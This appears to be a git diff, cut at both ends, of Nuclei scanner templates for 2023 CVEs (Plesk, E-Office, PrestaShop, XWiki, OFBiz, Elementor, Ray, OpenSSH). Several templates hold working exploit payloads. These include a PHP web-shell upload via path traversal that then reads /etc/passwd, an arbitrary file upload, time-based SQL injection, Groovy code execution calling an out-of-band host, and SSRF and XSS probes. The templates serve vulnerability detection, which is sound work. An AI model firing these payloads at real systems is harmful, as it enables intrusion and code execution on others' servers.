+ A Host Header Injection issue on the Login page of Plesk Obsidian through 18.0.49 allows attackers to redirect users to malicious websites via a Host request header. reference: + - https://nvd.nist.gov/vuln/detail/CVE-2023-24044 - https://portswigger.net/web-security/host-header/exploiting - https://medium.com/@jetnipat.tho/cve-2023-24044-10e48ab940d8 - https://gist.github.com/TJetnipat/02b3854543b7ec95d54a8de811f2e8ae - - https://nvd.nist.gov/vuln/detail/CVE-2023-24044 - - https://support.plesk.com/hc/en-us/articles/10254625170322-Vulnerability-CVE-2023-24044 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2023-24044 cwe-id: CWE-601 - epss-score: 0.001 - epss-percentile: 0.41112 - cpe: cpe:2.3:a:plesk:obsidian:*:*:*:*:*:*:*:* metadata: - verified: true - max-request: 1 - vendor: plesk - product: obsidian - shodan-query: title:"Plesk Obsidian" fofa-query: title="Plesk Obsidian" + shodan-query: title:"Plesk Obsidian" + verified: "true" tags: cve,cve2023,header,injection,plesk,obsidian -http: +requests: - method: GET path: - "{{BaseURL}}/login.php" @@ -49,4 +40,3 @@ http: - type: status status: - 303 -# digest: 4b0a00483046022100856c8c35a209c5d4a01f5bc5720337c837865b2e526b1b1aaeb0fb19804800500221008a54dc9781822584bcc176ab85930836eca206824da71a4ae4146ec06ae5f98a:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2023-2523.yaml b/poc/cve/CVE-2023-2523.yaml index 4b2a6d7baf..49a25d8de8 100644 --- a/poc/cve/CVE-2023-2523.yaml +++ b/poc/cve/CVE-2023-2523.yaml @@ -1,32 +1,75 @@ -id: cve-2023-2523 +id: CVE-2023-2523 + info: - name: cve-2023-2523 - author: weehhd - severity: high - description: https://blog.csdn.net/qq_41904294/article/details/130832416 + name: E-Office E-Mobile Ajax.php - Arbitrary File Upload + author: Co5mos + severity: critical + description: A vulnerability was found in Weaver E-Office 9.5. reference: - - https:// - tags: tags + - https://blog.csdn.net/qq_41904294/article/details/130832416 + - https://nvd.nist.gov/vuln/detail/CVE-2023-2523 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2023-2523 + cwe-id: CWE-434 + cpe: cpe:2.3:a:e-office:e-office:9.5:*:*:*:*:*:*:* + metadata: + max-request: 2 + verified: true + fofa-query: app="泛微-EOffice" + tags: weaver,eoffice,fileupload + +variables: + filename: "{{rand_base(5)}}" + http: - raw: - - "POST /E-mobile/App/Ajax/ajax.php?action=mobile_upload_save HTTP/1.1\nHost:\ - \ {{Hostname}}\nUpgrade-Insecure-Requests: 1\nUser-Agent: Mozilla/5.0 (Windows\ - \ NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0\ - \ Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\n\ - Accept-Encoding: gzip, deflate\nAccept-Language: zh-CN,zh;q=0.9,en-CN;q=0.8,en;q=0.7\n\ - Cookie: PHPSESSID=c4a1f7ccafd44c06a73b00c0149d2f54\nConnection: close\nContent-Type:multipart/form-data;\ - \ boundary=----WebKitFormBoundarydRVCGWq4Cx3Sq6tt \nContent-Length: 344\n\n\ - ------WebKitFormBoundarydRVCGWq4Cx3Sq6tt\nContent-Disposition:form-data; name=\"\ - upload_quwan\"; filename=\"1.php.\"\nContent-Type:image/jpeg\n\n\n\ - ------WebKitFormBoundarydRVCGWq4Cx3Sq6tt\nContent-Disposition:form-data; name=\"\ - file\"; filename=\"\"\nContent-Type:application/octet-stream\n\n\n------WebKitFormBoundarydRVCGWq4Cx3Sq6tt--" + - | + POST /E-mobile/App/Ajax/ajax.php?action=mobile_upload_save HTTP/1.1 + Host: {{Hostname}} + Cache-Control: max-age=0 + Upgrade-Insecure-Requests: 1 + Origin: null + Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydRVCGWq4Cx3Sq6tt + User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 + Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 + Accept-Encoding: gzip, deflate + Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7 + Connection: close + + ------WebKitFormBoundarydRVCGWq4Cx3Sq6tt + Content-Disposition: form-data; name="upload_quwan"; filename="{{filename}}.php." + Content-Type: image/jpeg + + + ------WebKitFormBoundarydRVCGWq4Cx3Sq6tt + Content-Disposition: form-data; name="file"; filename="" + Content-Type: application/octet-stream + + + ------WebKitFormBoundarydRVCGWq4Cx3Sq6tt-- + + - | + GET /attachment/{{number}}/{{filename}}.php HTTP/1.1 + Host: {{Hostname}} + + extractors: + - type: regex + part: body + name: number + group: 1 + regex: + - 'attachment./(\d+)./\w+\.php' + internal: true + matchers-condition: and matchers: - type: word part: body words: - - 1.php - - type: word - part: header - words: - - HTTP/1.1 200 OK + - '2468642' + + - type: status + status: + - 200 \ No newline at end of file diff --git a/poc/cve/CVE-2023-27032.yaml b/poc/cve/CVE-2023-27032.yaml new file mode 100644 index 0000000000..a2441f835d --- /dev/null +++ b/poc/cve/CVE-2023-27032.yaml @@ -0,0 +1,66 @@ +id: CVE-2023-27032 + +info: + name: PrestaShop AdvancedPopupCreator - SQL Injection + author: MaStErChO + severity: critical + description: | + In the module “Advanced Popup Creator” (advancedpopupcreator) from Idnovate for PrestaShop, a guest can perform SQL injection in affected versions. + reference: + - https://security.friendsofpresta.org/modules/2023/04/11/advancedpopupcreator.html + - https://addons.prestashop.com/en/pop-up/23773-popup-on-entry-exit-popup-add-product-and-newsletter.html + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2023-27032 + cwe-id: CWE-89 + epss-score: 0.00106 + epss-percentile: 0.42495 + cpe: cpe:2.3:a:idnovate:popup_module_\(on_entering\,_exit_popup\,_add_product\)_and_newsletter:*:*:*:*:*:prestashop:*:* + metadata: + max-request: 1 + vendor: idnovate + product: popup_module_\(on_entering\,_exit_popup\,_add_product\)_and_newsletter + framework: prestashop + shodan-query: http.component:"prestashop" + verified: true + tags: cve,cve2023,sqli,prestashop,advancedpopupcreator + +http: + - raw: + - | + GET / HTTP/1.1 + Host: {{Hostname}} + + - | + @timeout 10s + POST /module/advancedpopupcreator/popup HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + availablePopups=if(now()=sysdate()%2Csleep(6)%2C0)&event=1&fromController=product&getPopup=1&id_category=0&id_manufacturer=0&id_product=1&id_supplier=0&referrer=&responsiveWidth=1280&time={{time}}&token={{token}} + + matchers: + - type: dsl + dsl: + - duration>=6 + - status_code == 200 + - contains(content_type, "text/html") + - contains_all(body, 'popups','hasError') + condition: and + + extractors: + - type: regex + name: time + group: 1 + regex: + - ',"time":([0-9]+),' + internal: true + + - type: regex + name: token + group: 1 + regex: + - ',"static_token":"([0-9a-z]+)",' + internal: true +# digest: 4a0a00473045022100aa46ba83eaa1e937eb89a6c4296e4efd072af40a4bcf8e687f6f3ea2551ed66502204452a505bdad3d329e7fdb44f2aa4ad0a0be98e174650aed8a5f057d51935856:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2023-35162.yaml b/poc/cve/CVE-2023-35162.yaml new file mode 100644 index 0000000000..efca725eec --- /dev/null +++ b/poc/cve/CVE-2023-35162.yaml @@ -0,0 +1,45 @@ +id: CVE-2023-35162 + +info: + name: XWiki < 14.10.5 - Cross-Site Scripting + author: ritikchaddha + severity: medium + description: | + XWiki Platform is vulnerable to reflected XSS via the previewactions template. An attacker can inject JavaScript through the xcontinue parameter. + impact: | + Successful exploitation could lead to unauthorized access or data theft. + remediation: | + Apply the latest patches provided by XWiki to mitigate the vulnerability. + reference: + - https://jira.xwiki.org/browse/XWIKI-20342 + - https://github.com/xwiki/xwiki-platform/blob/244dbbaa0738a0c40b19929c0369c8b62ae5236e/xwiki-platform-core/xwiki-platform-flamingo/xwiki-platform-flamingo-skin/xwiki-platform-flamingo-skin-resources/src/main/resources/flamingo/previewactions.vm#L48 + - https://nvd.nist.gov/vuln/detail/CVE-2023-35162 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2023-35162 + cwe-id: CWE-79 + epss-score: 0.00127 + epss-percentile: 0.46778 + cpe: cpe:2.3:a:xwiki:xwiki:*:*:*:*:*:*:*:* + metadata: + vendor: xwiki + product: xwiki + shodan-query: "XWiki" + fofa-query: body="data-xwiki-reference" + tags: cve,cve2023,xwiki,xss + +http: + - method: GET + path: + - "{{BaseURL}}/xwiki/bin/get/FlamingoThemes/Cerulean?xpage=xpart&vm=previewactions.vm&xcontinue=javascript:alert(document.domain)" + + matchers: + - type: dsl + dsl: + - 'contains(body, "name=\"xcontinue\" value=\"javascript:alert(document.domain)")' + - 'contains(body, "previewactions.vm")' + - 'contains(header, "text/html")' + - 'status_code == 200' + condition: and +# digest: 4a0a00473045022100c49efcd89e263ea211bc9119c0d6d1eefde0bac768f4f0ccd66179956dd375ca02204917b4bca2a8d825d234c1b1d8eceee9b76ea649133514614bfbde4411028efc:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2023-42343.yaml b/poc/cve/CVE-2023-42343.yaml new file mode 100644 index 0000000000..2af71c7c71 --- /dev/null +++ b/poc/cve/CVE-2023-42343.yaml @@ -0,0 +1,35 @@ +id: CVE-2023-42343 + +info: + name: OpenCMS - Cross-Site Scripting + author: DhiyaneshDK + severity: medium + description: | + OpenCMS below 10.5.1 is vulnerable to Cross-Site Scripting vulnerability. + remediation: Fixed in 10.5.1. + reference: + - https://labs.watchtowr.com/xxe-you-can-depend-on-me-opencms/ + classification: + cve-id: CVE-2023-42343 + metadata: + verified: true + max-request: 1 + shodan-query: "/opencms/" + tags: cve,cve2023,xss,opencms + +http: + - method: GET + path: + - '{{BaseURL}}/opencms/cmisatom/cmis-online/type?id=1%27">' + headers: + Content-Type: application/cmisquery+xml + + matchers-condition: and + matchers: + - type: word + part: body + words: + - 'Apache Chemistry OpenCMIS' + - '' + condition: and +# digest: 490a00463044022076759a64ec8dcf9d061745db5d2542a5ac1e41ecbbed76ac48d4de5e23e38a57022046d2065515fddaff3bb682600a0e4500ffb0d8b44d539031bfd8fb89ea8cd091:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2023-48023.yaml b/poc/cve/CVE-2023-48023.yaml new file mode 100644 index 0000000000..dbb59e4a31 --- /dev/null +++ b/poc/cve/CVE-2023-48023.yaml @@ -0,0 +1,45 @@ +id: CVE-2023-48023 + +info: + name: Anyscale Ray 2.6.3 and 2.8.0 - Server-Side Request Forgery + author: cookiehanhoan,harryha + severity: high + description: | + The Ray Dashboard API is affected by a Server-Side Request Forgery (SSRF) vulnerability in the url parameter of the /log_proxy API endpoint. The API does not perform sufficient input validation within the affected parameter and any HTTP or HTTPS URLs are accepted as valid. + impact: | + The issue is exploitable without authentication and is dependent only on network connectivity to the Ray Dashboard port (8265 by default). The vulnerability could be exploited to retrieve the highly privileged IAM credentials required by Ray from the AWS metadata API. As an impact it is known to affect confidentiality, integrity, and availability. + remediation: Update to the latest version + reference: + - https://bishopfox.com/blog/ray-versions-2-6-3-2-8-0 + - https://huntr.com/bounties/448bcada-9f6f-442e-8950-79f41efacfed/ + - https://security.snyk.io/vuln/SNYK-PYTHON-RAY-6096054 + - https://nvd.nist.gov/vuln/detail/CVE-2023-48023 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N + cvss-score: 9.1 + cve-id: CVE-2023-48023 + cwe-id: CWE-441,CWE-918 + metadata: + verified: true + max-request: 1 + vendor: Anyscale + shodan-query: http.favicon.hash:463802404 + tags: cve,cve2023,ssrf,ray,anyscale + +http: + - method: GET + path: + - "{{BaseURL}}/log_proxy?url=http://{{interactsh-url}}" + + matchers-condition: and + matchers: + - type: word + part: interactsh_protocol + words: + - "dns" + + - type: word + part: body + words: + - "

Interactsh Server

" +# digest: 4a0a00473045022100b701a3393f6a0c326a191f9b9570223ac48ecec79d89aee03232c824d80df162022040d57b11f6cfe588b60f4f5448e65429613c5cb117f7a694dd81f05b111a7cfa:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2023-48777.yaml b/poc/cve/CVE-2023-48777.yaml new file mode 100644 index 0000000000..58d147569a --- /dev/null +++ b/poc/cve/CVE-2023-48777.yaml @@ -0,0 +1,62 @@ +id: CVE-2023-48777 + +info: + name: WordPress Elementor 3.18.1 - File Upload/Remote Code Execution + author: DhiyaneshDK + severity: critical + description: | + The plugin is vulnerable to Remote Code Execution via file upload via the template import functionality, allowing authenticated attackers, with contributor-level access and above, to upload files and execute code on the server. + remediation: Fixed in 3.18.2 + reference: + - https://wpscan.com/vulnerability/a6b3b14c-f06b-4506-9b88-854f155ebca9/ + metadata: + verified: true + max-request: 4 + framework: wordpress + publicwww-query: "/wp-content/plugins/elementor/" + tags: cve,cve2023,elementor,file-upload,intrusive,rce,wpscan,wordpress,wp-plugin,authenticated + +variables: + filename: "{{rand_base(6)}}" + payload: '{"import_template":{"action":"import_template","data":{"fileName":"/../../../../{{filename}}.php","fileData":"PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbJ2NtZCddKTsgPz4="}}}' + +http: + - raw: + - | + POST /wp-login.php HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + log={{username}}&pwd={{password}}&wp-submit=Log+In + + - | + GET /wp-admin/post.php?post=1&action=elementor HTTP/1.1 + Host: {{Hostname}} + + - | + POST /wp-admin/admin-ajax.php HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + actions={{url_encode(payload)}}&_nonce={{nonce}}&editor_post_id=1&initial_document_id=1&action=elementor_ajax + + - | + GET /wp-content/{{filename}}.php?cmd=cat+/etc/passwd HTTP/1.1 + Host: {{Hostname}} + + matchers: + - type: dsl + dsl: + - "regex('root:.*:0:0:', body_4)" + - "status_code_4 == 200" + condition: and + + extractors: + - type: regex + internal: true + name: nonce + part: body + group: 1 + regex: + - 'admin\\\/admin\-ajax\.php","nonce":"([0-9a-z]+)"' +# digest: 4b0a00483046022100b71e9b31dece4dcf31fbd4629f0aea2339c0ec8922cf20066400a2d2232bca0c02210091ea465a635a3c4c909c86e44122140e35c0f0fc6fb70e2e4182abe48c32c568:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2023-48795.yaml b/poc/cve/CVE-2023-48795.yaml new file mode 100644 index 0000000000..497864c2cf --- /dev/null +++ b/poc/cve/CVE-2023-48795.yaml @@ -0,0 +1,96 @@ +id: CVE-2023-48795 + +info: + name: OpenSSH Terrapin Attack - Detection + author: pussycat0x + severity: medium + description: | + The SSH transport protocol with certain OpenSSH extensions, found in OpenSSH before 9.6 and other products, allows remote attackers to bypass integrity checks such that some packets are omitted (from the extension negotiation message), and a client and server may consequently end up with a connection for which some security features have been downgraded or disabled, aka a Terrapin attack. This occurs because the SSH Binary Packet Protocol (BPP), implemented by these extensions, mishandles the handshake phase and mishandles use of sequence numbers. For example, there is an effective attack against SSH's use of ChaCha20-Poly1305 (and CBC with Encrypt-then-MAC). The bypass occurs in chacha20-poly1305@openssh.com and (if CBC is used) the -etm@openssh.com MAC algorithms. This also affects Maverick Synergy Java SSH API before 3.1.0-SNAPSHOT, Dropbear through 2022.83, Ssh before 5.1.1 in Erlang/OTP, PuTTY before 0.80, AsyncSSH before 2.14.2, golang.org/x/crypto before 0.17.0, libssh before 0.10.6, libssh2 through 1.11.0, Thorn Tech SFTP Gateway before 3.4.6, Tera Term before 5.1, Paramiko before 3.4.0, jsch before 0.2.15, SFTPGo before 2.5.6, Netgate pfSense Plus through 23.09.1, Netgate pfSense CE through 2.7.2, HPN-SSH through 18.2.0, ProFTPD before 1.3.8b (and before 1.3.9rc2), ORYX CycloneSSH before 2.3.4, NetSarang XShell 7 before Build 0144, CrushFTP before 10.6.0, ConnectBot SSH library before 2.2.22, Apache MINA sshd through 2.11.0, sshj through 0.37.0, TinySSH through 20230101, trilead-ssh2 6401, LANCOM LCOS and LANconfig, FileZilla before 3.66.4, Nova before 11.8, PKIX-SSH before 14.4, SecureCRT before 9.4.3, Transmit5 before 5.10.4, Win32-OpenSSH before 9.5.0.0p1-Beta, WinSCP before 6.2.2, Bitvise SSH Server before 9.32, Bitvise SSH Client before 9.33, KiTTY through 0.76.1.13, the net-ssh gem 7.2.0 for Ruby, the mscdex ssh2 module before 1.15.0 for Node.js, the thrussh library before 0.35.1 for Rust, and the Russh crate before 0.40.2 for Rust. + remediation: | + One can address this vulnerability by temporarily disabling the affected chacha20-poly1305@openssh.com encryption and -etm@openssh.com MAC algorithms in the configuration of the SSH server (or client), and instead utilize unaffected algorithms like AES-GCM. + reference: + - https://github.com/RUB-NDS/Terrapin-Scanner + - https://terrapin-attack.com/ + - http://packetstormsecurity.com/files/176280/Terrapin-SSH-Connection-Weakening.html + - http://seclists.org/fulldisclosure/2024/Mar/21 + - http://www.openwall.com/lists/oss-security/2023/12/18/3 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N + cvss-score: 5.9 + cve-id: CVE-2023-48795 + cwe-id: CWE-354 + epss-score: 0.69474 + epss-percentile: 0.97955 + cpe: cpe:2.3:a:openbsd:openssh:*:*:*:*:*:*:*:* + metadata: + verified: true + max-request: 1 + vendor: openbsd + product: openssh + shodan-query: product:"OpenSSH" + tags: cve,cve2023,packetstorm,seclists,js,ssh,network,passive + +javascript: + - code: | + const m = require("nuclei/ssh"); + const c = m.SSHClient(); + const response = c.ConnectSSHInfoMode(Host, Port); + + function SupportsChaCha20() + { + const CiphersClientServer = response.ServerKex.CiphersClientServer; + const csexists = CiphersClientServer.includes("chacha20-poly1305@openssh.com"); + csexists; + const CiphersServerClient = response.ServerKex.CiphersServerClient; + const scexist = CiphersServerClient.includes("chacha20-poly1305@openssh.com"); + scexist; + return csexists || scexist; + } + + function SupportsCbcEtm() + { + const EncryCCS = response.ServerKex.CiphersClientServer; + const EncryCCSsuf = EncryCCS.some(value => value.endsWith("-cbc")); + EncryCCSsuf; + + const Macacs = response.ServerKex.MACsClientServer; + const MacacsSuf = Macacs.some(value => value.endsWith("-etm@openssh.com")); + MacacsSuf; + + const EncrySC = response.ServerKex.CiphersServerClient; + const EncrySCSuf = EncrySC.some(value => value.endsWith("-cbc")); + EncrySCSuf; + + const Macasc = response.ServerKex.MACsServerClient; + const MacascSuf = Macasc.some(value => value.endsWith("-etm@openssh.com")); + MacascSuf; + return EncryCCSsuf && MacacsSuf || EncrySCSuf && MacascSuf; + + } + + function SupportsStrictKex() + { + const SuStrictKex = response.ServerKex.KexAlgos; + const hasSuffix = SuStrictKex.some(value => value.endsWith("kex-strict-s-v00@openssh.com")); + return hasSuffix; + + } + + function IsVulnerable() + { + const vuln = ((SupportsChaCha20() || SupportsCbcEtm()) && ! SupportsStrictKex()) + if (vuln === true) { + return ("Vulnerable to Terrapin"); + } + } + Export(IsVulnerable()) + + args: + Host: "{{Host}}" + Port: 22 + + extractors: + - type: dsl + dsl: + - response +# digest: 490a0046304402201851ca0cf4b9dbb2d4cfc79b0197d42167bb9c3f9f9d3492ea5015d5f034c5e902204aa4c75bc92d35e1b50838535956f1a80ba608d99056f18e7613c587ed03930e:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2023-49070.yaml b/poc/cve/CVE-2023-49070.yaml new file mode 100644 index 0000000000..3373c5ff27 --- /dev/null +++ b/poc/cve/CVE-2023-49070.yaml @@ -0,0 +1,69 @@ +id: CVE-2023-49070 + +info: + name: Apache OFBiz < 18.12.10 - Arbitrary Code Execution + author: your3cho + severity: critical + description: | + Pre-auth RCE in Apache Ofbiz 18.12.09. It's due to XML-RPC no longer maintained still present. This issue affects Apache OFBiz: before 18.12.10. + remediation: Users are recommended to upgrade to version 18.12.10. + reference: + - https://lists.apache.org/thread/jmbqk2lp4t4483whzndp5xqlq4f3otg3 + - https://seclists.org/oss-sec/2023/q4/257 + - https://twitter.com/Siebene7/status/1731870759130427726 + - https://nvd.nist.gov/vuln/detail/CVE-2023-49070 + - https://issues.apache.org/jira/browse/OFBIZ-12812 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2023-49070 + cwe-id: CWE-94 + epss-score: 0.59066 + epss-percentile: 0.97445 + cpe: cpe:2.3:a:apache:ofbiz:*:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: apache + product: ofbiz + shodan-query: html:"OFBiz" + fofa-query: app="Apache_OFBiz" + tags: cve,cve2023,seclists,apache,ofbiz,deserialization,rce + +http: + - raw: + - | + POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/xml + + + + {{randstr}} + + + + + + test + + {{generate_java_gadget("dns", "http://{{interactsh-url}}", "base64")}} + + + + + + + + + matchers-condition: and + matchers: + - type: word + part: interactsh_protocol + words: + - "dns" + + - type: word + part: body + words: + - 'faultString' +# digest: 4a0a0047304502203045f116daa38c798fc2ed2ee40347a192233ba652d1cca7921ac59034587cb4022100f480cbea01f1635ea506c8211984d0376abbcf79f50c64f49e39b97422d0df54:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2023-50890-aa376aae510c39a36baec69a6468b0f5.yaml b/poc/cve/CVE-2023-50890-aa376aae510c39a36baec69a6468b0f5.yaml new file mode 100644 index 0000000000..a10924fa56 --- /dev/null +++ b/poc/cve/CVE-2023-50890-aa376aae510c39a36baec69a6468b0f5.yaml @@ -0,0 +1,59 @@ +id: CVE-2023-50890-aa376aae510c39a36baec69a6468b0f5 + +info: + name: > + Ultimate Addons for Elementor <= 1.36.20 - Authenticated (Contributor+) Privilege Escalation + author: topscoder + severity: low + description: > + The Ultimate Addons for Elementor plugin for WordPress is vulnerable to privilege escalation in all versions up to, and including, 1.36.20. This makes it possible for unauthenticated attackers to register as an administrator on vulnerable sites. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/ea4b35ef-99ae-4ef9-8618-f9993306521b?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H + cvss-score: 8.8 + cve-id: CVE-2023-50890 + metadata: + fofa-query: "wp-content/plugins/ultimate-elementor/" + google-query: inurl:"/wp-content/plugins/ultimate-elementor/" + shodan-query: 'vuln:CVE-2023-50890' + tags: cve,wordpress,wp-plugin,ultimate-elementor,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/ultimate-elementor/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "ultimate-elementor" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 1.36.20') \ No newline at end of file diff --git a/poc/cve/CVE-2023-51467.yaml b/poc/cve/CVE-2023-51467.yaml new file mode 100644 index 0000000000..b8baaab188 --- /dev/null +++ b/poc/cve/CVE-2023-51467.yaml @@ -0,0 +1,51 @@ +id: CVE-2023-51467 + +info: + name: Apache OFBiz < 18.12.11 - Remote Code Execution + author: your3cho + severity: critical + description: | + The vulnerability allows attackers to bypass authentication to achieve a simple Server-Side Request Forgery (SSRF) + reference: + - https://lists.apache.org/thread/9tmf9qyyhgh6m052rhz7lg9vxn390bdv + - https://www.openwall.com/lists/oss-security/2023/12/26/3 + - https://twitter.com/_0xf4n9x_/status/1740202435367543183 + - https://nvd.nist.gov/vuln/detail/CVE-2023-51467 + - https://issues.apache.org/jira/browse/OFBIZ-12873 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2023-51467 + cwe-id: CWE-918 + epss-score: 0.68495 + epss-percentile: 0.97894 + cpe: cpe:2.3:a:apache:ofbiz:*:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: apache + product: ofbiz + shodan-query: html:"OFBiz" + fofa-query: app="Apache_OFBiz" + tags: cve2023,cve,apache,ofbiz,rce + +http: + - raw: + - | + POST /webtools/control/ProgramExport;/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + groovyProgram=import+groovy.lang.GroovyShell%3B%0A%0AString+expression+%3D+%22'nslookup+{{interactsh-url}}'.execute()%22%3B%0AGroovyShell+gs+%3D+new+GroovyShell()%3B%0Ags.evaluate(expression)%3B + + matchers-condition: and + matchers: + - type: word + part: interactsh_protocol + words: + - "dns" + + - type: word + part: header + words: + - 'OFBiz.Visitor=' +# digest: 4a0a0047304502203c57270ab59d7bb994c9c151f2d2fd77583f905570eabb408ebd6b13be0cb769022100f9c9673ed3529407d3fc42ccf9af89de53dae6afa4b72b939c0ad1c2c4a1e6bd:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2023-5424-1e5f4c6ba714628c07cbc1e0947d1b83.yaml b/poc/cve/CVE-2023-5424-1e5f4c6ba714628c07cbc1e0947d1b83.yaml new file mode 100644 index 0000000000..4a0f96ba91 --- /dev/null +++ b/poc/cve/CVE-2023-5424-1e5f4c6ba714628c07cbc1e0947d1b83.yaml @@ -0,0 +1,59 @@ +id: CVE-2023-5424-1e5f4c6ba714628c07cbc1e0947d1b83 + +info: + name: > + WS Form LITE <= 1.9.217 - Unauthenticated CSV Injection + author: topscoder + severity: medium + description: > + The WS Form LITE plugin for WordPress is vulnerable to CSV Injection in versions up to, and including, 1.9.217. This allows unauthenticated attackers to embed untrusted input into exported CSV files, which can result in code execution when these files are downloaded and opened on a local system with a vulnerable configuration. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/38ccaa81-77ec-46f2-9bec-d74fa2e093f3?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 4.7 + cve-id: CVE-2023-5424 + metadata: + fofa-query: "wp-content/plugins/ws-form/" + google-query: inurl:"/wp-content/plugins/ws-form/" + shodan-query: 'vuln:CVE-2023-5424' + tags: cve,wordpress,wp-plugin,ws-form,medium + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/ws-form/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "ws-form" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 1.9.217') \ No newline at end of file diff --git a/poc/cve/CVE-2023-6491-04c3f7c7456f387e308447bde0f44015.yaml b/poc/cve/CVE-2023-6491-04c3f7c7456f387e308447bde0f44015.yaml new file mode 100644 index 0000000000..878e6daa8c --- /dev/null +++ b/poc/cve/CVE-2023-6491-04c3f7c7456f387e308447bde0f44015.yaml @@ -0,0 +1,59 @@ +id: CVE-2023-6491-04c3f7c7456f387e308447bde0f44015 + +info: + name: > + Strong Testimonials <= 3.1.12 - Authenticated(Contributor+) Improper Authorization to Views Modification + author: topscoder + severity: low + description: > + The Strong Testimonials plugin for WordPress is vulnerable to unauthorized modification of data due to an improper capability check on the wpmtst_save_view_sticky function in all versions up to, and including, 3.1.12. This makes it possible for authenticated attackers, with contributor access and above, to modify favorite views. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/c3277d93-4f47-445b-a193-ff990b55d054?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N + cvss-score: 4.3 + cve-id: CVE-2023-6491 + metadata: + fofa-query: "wp-content/plugins/strong-testimonials/" + google-query: inurl:"/wp-content/plugins/strong-testimonials/" + shodan-query: 'vuln:CVE-2023-6491' + tags: cve,wordpress,wp-plugin,strong-testimonials,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/strong-testimonials/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "strong-testimonials" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 3.1.12') \ No newline at end of file diff --git 